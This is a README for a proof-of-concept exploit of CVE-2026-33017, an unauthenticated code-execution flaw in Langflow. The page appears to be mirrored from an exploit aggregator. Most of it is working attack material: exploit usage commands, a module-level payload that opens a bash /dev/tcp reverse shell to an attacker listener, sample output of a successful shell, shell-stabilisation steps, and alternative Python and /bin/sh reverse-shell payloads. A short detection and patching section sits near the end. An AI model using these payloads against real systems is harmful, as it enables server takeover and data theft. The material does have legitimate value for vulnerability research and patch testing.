## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-AHSEVEN-CVE-2026-33017-POC-REVERSE-SHELL
# CVE-2026-33017 - Langflow Unauthenticated RCE Exploit
## 📋 Overview
**CVE-2026-33017** is an unauthenticated Remote Code Execution (RCE) vulnerability in Langflow versions <= 1.8.2. The vulnerability exists in the `/api/v1/build_public_tmp/{flow_id}/flow` endpoint, which lacks proper authentication and allows attackers to execute arbitrary Python code during the graph compilation process.
## ⚠️ Disclaimer
> **This exploit is for educational and authorized testing purposes only. Unauthorized access to computer systems is illegal. Use this tool only on systems you own or have explicit permission to test.**
## 🎯 Affected Versions
Version| Status
---|---
<= 1.8.2| **Vulnerable**
1.9.0| **Patched**
## 🔍 Vulnerability Details
### Root Cause
The vulnerability stems from the `prepare_global_scope()` function in `validate.py`, which calls `exec()` on the code of each `CustomComponent` node without proper sandboxing. When a component is loaded/compiled, any Python code at the module level (outside class definitions) is executed immediately.
### Vulnerable Endpoint
root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow
**Characteristics:**
* ❌ No authentication required
* ❌ No API key needed
* ❌ No authorization header
* ✅ Attacker-controlled data passed directly to graph builder
### Code Execution Chain
root@kitploit:~
Attacker POST → build_public_tmp → start_flow_build() → create_graph() →
Graph.from_payload() → add_nodes_and_edges() → initialize() →
_instantiate_components_in_vertices() → instantiate_component() →
eval_custom_component_code() → prepare_global_scope() →
exec(compiled_code) ← ARBITRARY CODE EXECUTION
## 🛠️ Exploitation
### Prerequisites
1. A public flow ID (UUID) from a Langflow instance
2. Target URL (Langflow instance)
3. Listener IP and port for reverse shell
### Installation
root@kitploit:~
git clone https://github.com/yourusername/CVE-2026-33017-exploit.git
cd CVE-2026-33017-exploit
pip install -r requirements.txt
### Requirements
root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0
### Usage
#### Basic Syntax
root@kitploit:~
python3 exploit.py --url <TARGET_URL> --flow-id <FLOW_ID> --lhost <LISTENER_IP> --lport <LISTENER_PORT>
#### Examples
**1\. Reverse Shell**
root@kitploit:~
# Start listener
nc -lvnp 4444
# Run exploit
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444
**2\. Using Short Options**
root@kitploit:~
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
**3\. Local Testing**
root@kitploit:~
python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
**4\. Custom Timeout**
root@kitploit:~
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30
### Command-Line Arguments
Argument| Short| Required| Description
---|---|---|---
`--url`| `-u`| Yes| Target URL (e.g., https://target.langflow.com)
`--flow-id`| `-f`| Yes| Flow ID (UUID) of the public flow
`--lhost`| `-lh`| Yes| Listener IP address for reverse shell
`--lport`| `-lp`| Yes| Listener port for reverse shell
`--timeout`| `-t`| No| HTTP timeout in seconds (default: 15)
## 🔧 How It Works
### 1\. Payload Structure
The exploit sends a malicious `CustomComponent` node that executes code at module level:
root@kitploit:~
import os
# This executes immediately during component loading
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
class ExploitComp(Component):
display_name="X"
outputs=[Output(display_name="O",name="o",method="r")]
def r(self)->Data:
return Data(data={})
### 2\. Execution Flow
root@kitploit:~
1. Attacker sends POST request to /api/v1/build_public_tmp/{flow_id}/flow
2. Langflow receives the malicious CustomComponent
3. prepare_global_scope() calls exec() on the component code
4. Module-level code executes immediately
├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. Reverse shell connects back to attacker's listener
6. Graph compilation continues (but it's too late)
### 3\. Why It Works
* **Module-level execution** : Code outside class definitions runs during `exec()`
* **No sandboxing** : `exec()` is called without restrictions
* **No authentication** : Endpoint is publicly accessible
* **Attacker-controlled data** : The `data` parameter is directly embedded
## 📊 Proof of Concept
### Successful Exploit Output
root@kitploit:~
$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
============================================================
CVE-2026-33017 - Langflow Unauthenticated RCE
============================================================
[!] Make sure your listener is running:
nc -lvnp 4444
[+] Target URL: https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST: 10.10.16.171
[+] LPORT: 4444
[*] Sending exploit payload...
[+] Status Code: 200
[+] Exploit sent successfully!
[+] Job ID: abc123-def456-789ghi
[*] Check your listener for the reverse shell!
[*] nc -lvnp 4444
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$
## 🚀 Advanced Usage
### Stabilize the Shell
Once you have a reverse shell:
root@kitploit:~
# Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Or use script
script /dev/null -c bash
# Background with Ctrl+Z
# Then run:
stty raw -echo
fg
reset
export TERM=xterm
### Execute Custom Commands
Modify the script to execute arbitrary commands instead of a reverse shell:
root@kitploit:~
# In build_payload() function:
return f"""import os
_x = os.system("{command}")
from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
class ExploitComp(Component):
display_name="X"
outputs=[Output(display_name="O",name="o",method="r")]
def r(self)->Data:
return Data(data={{}})
"""
### Alternative Payloads
**1\. Python Socket Reverse Shell**
root@kitploit:~
import os, socket, subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])
**2\. /bin/sh Reverse Shell** (if bash is not available)
root@kitploit:~
import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'")
## 🛡️ Detection & Prevention
### Detection Indicators
* POST requests to `/api/v1/build_public_tmp/*/flow` without authentication
* Suspicious `CustomComponent` code containing `os.system()` or `subprocess`
* Unexpected `/tmp/rce-proof` or `/tmp/executed` files
* Outbound connections from Langflow containers
### Prevention Measures
1. **Apply the patch** : Update to Langflow 1.9.0 or later
2. **Implement authentication** : Add proper authentication to `/build_public_tmp` endpoint
3. **Input validation** : Sanitize code input for `CustomComponent`
4. **Sandboxing** : Implement proper sandboxing for `exec()` calls
5. **Network segmentation** : Isolate Langflow instances
## 📚 References
* **GitHub Advisory** : GHSA-vwmf-pq79-vjvx \- Official CVE-2026-33017 Advisory
* **CVE Entry** : CVE-2026-33017 on NVD
* **Langflow GitHub Repository** : langflow-ai/langflow
* **OWASP Top 10 - A03:2021 Injection** : Injection Prevention Cheat Sheet
## 🗺️ Timeline
Date| Event
---|---
March 2026| Vulnerability Discovered
March 16, 2026| GitHub Advisory Published
April 2026| Public Disclosure
April 2026| Patch Released (1.9.0)
## 📝 License
This project is for educational purposes only. Use at your own risk.
## ⚖️ Legal Notice
This software is provided for educational and authorized security testing purposes only. The authors are not responsible for any misuse or damage caused by this software. Users are solely responsible for complying with all applicable laws and regulations.
* * *
**Made with 🖤 for security research**